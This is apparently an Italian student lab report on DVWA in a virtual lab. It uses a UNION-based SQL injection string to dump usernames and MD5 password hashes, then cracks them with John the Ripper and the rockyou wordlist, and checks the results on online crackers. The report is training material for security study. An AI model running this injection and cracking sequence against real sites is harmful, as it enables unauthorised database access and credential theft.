

REPORT S3/L4

Password cracking

Traccia

Password Cracking - Recupero delle password in chiaro.

Recuperare le password hashate nel database della DVWA e eseguire sessioni di cracking per recuperare la loro versione in chiaro utilizzando i tool studiati nella lezione teorica.

Svolgimento

Dopo aver configurato le macchine di Kali e Meta nella stessa rete applichiamo un attacco SQL Injection alla DVWA di Meta per estrarre nomi utenti e password presenti nel database.

La query che verrà usata sarà:

```
1' UNION select user,password from users#
```

Che restituirà:

Vulnerability: SQL Injection

User ID:

ID: 1' UNION select user,password from users#
First name: admin
Surname: admin

ID: 1' UNION select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

First name: admin
Surname: adminID

First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99ID

First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03ID

First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216bID

First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7ID

First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Tralasciando il primo risultato di cui vediamo le informazioni in chiaro, consideriamo solo le password:

5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99

Notiamo due particolarità:

1. La prima e l'ultima sono uguali quindi ne basterà crackare solo una delle due;
2. Ogni stringa contiene 32 caratteri esadecimali con numeri e lettere dalla A alla F. Quindi le password sono crittografate attraverso la funzione hash MD5.

Pertanto usiamo *John the Ripper* per crackare le password.

Per scrivere il comando da passare a JtR dobbiamo prima estrarre la wordlist rockyou che troviamo nell'elenco delle wordlist di Kali

```
Shell No. 1
File Actions Edit View Help
$ wordlists
> wordlists ~ Contains the rockyou wordlist
/usr/share/wordlists
├── amass → /usr/share/amass/wordlists
├── dirb → /usr/share/dirb/wordlists
├── dirbuster → /usr/share/dirbuster/wordlists
├── dnsmap.txt → /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt → /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi → /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst → /usr/share/john/password.lst
├── legion → /usr/share/legion/wordlists
├── metasploit → /usr/share/metasploit-framework/data/wordlists
├── nmap.lst → /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── sqlmap.txt → /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz → /usr/share/wfuzz/wordlist
└── wifite.txt → /usr/share/dict/wordlist-probable.txt
Do you want to extract the wordlist rockyou.txt? [Y/n]
```

Confermiamo di voler estrarre la wordlist il cui file si troverà nel percorso /usr/share/wordlists

Salviamo le password in un file di testo da passare a JtR e nel terminale inseriamo il comando:

```
john - -wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/EPICODE/pass
```

A questo punto il comando ci restituisce un errore:

```
(kali@kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/EPICODE/pass

Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
```

E cercando *No password hashes loaded* capiamo che dobbiamo specificare il formato delle password per permettere il corretto funzionamento di JtR.

Dall'help del comando vediamo che possiamo estrarre un elenco dei formati possibili

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ john --list=formats  
descrypt, bsdicrypt, md5crypt, md5crypt-long, bcrypt, scrypt, LM, AFS,  
tripcode, AndroidBackup, adxcrypt, agilekeychain, aix-ssh1, aix-ssh256,  
aix-ssh512, andOTP, ansible, argon2, as400-des, as400-ssh1, asa-md5,  
AxCrypt, AzureAD, BestCrypt, BestCryptVE4, bfegg, Bitcoin, BitLocker,  
bitshares, Bitwarden, BKS, Blackberry-ES10, WoWSRP, Blockchain, chap,  
Clipperz, cloudkeychain, dynamic_n, cq, CRC32, cryptoSafe, sha1crypt,  
sha256crypt, sha512crypt, Citrix_NS10, dahua, dashlane, diskcryptor, Django,  
django-scrypt, dmd5, dmg, dominosec, dominosec8, DPAPImk, dragonfly3-32,  
dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, eCryptfs, eigrp,  
electrum, EncFS, enpass, EPI, EPiServer, ethereum, fde, Fortigate256,  
Fortigate, FormSpring, FVDE, geli, gost, gpg, HAVAL-128-4, HAVAL-256-3, hdaa,  
hMailServer, hsrp, IKE, ipb2, itunes-backup, iwork, KeePass, keychain,  
keyring, keystore, known_hosts, krb4, krb5, krb5asrep, krb5pa-sha1, krb5tgs,  
krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, lotus5, lotus85, LUKS,  
MD2, mdc2, MediaWiki, monero, money, MongoDB, scram, Mozilla, mscash,  
mscash2, MSCHAPv2, mschapg2-naive, krb5pa-md5, mssql, mssql05, mssql12,  
multibit, mysqlna, mysql-sha1, mysql, net-ah, nethalflm, netlm, netlmv2,  
net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, notes, md5ns,  
nsec3, NT, o10glogon, o3logon, o5logon, ODF, Office, oldoffice,  
OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, osc, ospf,  
Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1,  
PBKDF2-HMAC-SHA256, PBKDF2-HMAC-SHA512, PDF, PEM, pfx, pgpdisk, pgpsda,  
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, postgres, PST, PuTTY,  
pwsafe, qnx, RACF, RACF-KDFAES, radius, RAdmin, RAKP, rar, RAR5, Raw-SHA512,  
Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-MD5u, Raw-SHA1,  
Raw-SHA1-AxCrypt, Raw-SHA1-Linkedin, Raw-SHA224, Raw-SHA256, Raw-SHA3,  
Raw-SHA384, restic, ripemd-128, ripemd-160, rsvp, RVARY, Siemens-S7,  
Salted-SHA1, SSHA512, sapb, sapg, saph, sappse, securezip, 7z, Signal, SIP,  
skein-256, skein-512, skey, SL3, Snefru-128, Snefru-256, LastPass, SNMP,  
solarwinds, SSH, sspr, STRIP, SunMD5, SybaseASE, Sybase-PROP, tacacs-plus,  
tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot,  
tc_sha512, tc_whirlpool, vdi, OpenVMS, vmx, VNC, vtp, wbb3, whirlpool,  
whirlpool0, whirlpool1, wpapsk, wpapsk-pmk, xmpp-scram, xsha, xsha512, zed,  
ZIP, ZipMonster, plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224,  
HMAC-SHA256, HMAC-SHA384, HMAC-SHA512, dummy, crypt  
414 formats (149 dynamic formats shown as just "dynamic_n" here)
```

Restringiamo la ricerca soltanto al formato md5 con il comando: `john - -list=formats | grep md5`

```
(kali@kali)-[~]  
$ john --list=formats | grep md5  
414 formats (149 dynamic formats shown as just "dynamic_n" here)  
descrypt, bsdicrypt, md5crypt, md5crypt-long, bcrypt, scrypt, LM, AFS,  
aix-ssh512, andOTP, ansible, argon2, as400-des, as400-ssh1, asa-md5,  
django-scrypt, dmd5, dmg, dominosec, dominosec8, DPAPImk, dragonfly3-32,  
mscash2, MSCHAPv2, mschapg2-naive, krb5pa-md5, mssql, mssql05, mssql12,  
net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, notes, md5ns,  
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, postgres, PST, PuTTY,  
tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot,
```

```
(kali@kali)-[~]
$ john --list=formats | grep MD5
414 formatsPadlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1,
Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-MD5u, Raw-SHA1,
(149 dynamic formats shown as just "dynamic_n" here)solarwinds, SSH, sspr, STRIP, SunMD5, SybaseASE, Sybase-PROP, ta
cacs-plus,
ZIP, ZipMonster, plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224,
```

Ottenendo diversi risultati sia per md5 che per MD5.

Dopo aver fatto un pò di tentativi arriviamo a definire il comando corretto, tramite l'uso del formato Raw-MD5.

Pertanto modifichiamo il comando in questo modo:

```
john - -format=raw-md5 - -wordlist=/usr/share/wordlists/rockyou.txt /home/kali/pass.txt
```

Ottenendo il risultato:

```
(kali@kali)-[~]
$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/pass.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123        (?)
letmein       (?)
charley       (?)
4g 0:00:00:00 DONE (2025-01-16 09:33) 80.00g/s 57600p/s 57600c/s 76800C/s my3kids..soccer9
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Le password in chiaro pertanto sono:

```
password
abc123
letmein
charley
```

Proviamo un paio di strumenti online per validare il risultato ottenuto con JtR. In particolare usiamo crackstation e md5online. Il risultato negli screen successivi:

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99

Non sono un robot

reCAPTCHA
Privacy - Termini

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
5f4dcc3b5aa765d61d8327deb882cf99	md5	password
e99a18c428cb38d5f260853678922e03	md5	abc123
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein
5f4dcc3b5aa765d61d8327deb882cf99	md5	password

5f4dcc3b5aa765d61d8327

Decripta md5()

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

8d3533d75ae2c3966d7e0

Decripta md5()

```
md5-decrypt("8d3533d75ae2c3966d7e0d4fcc69216b")
```

charley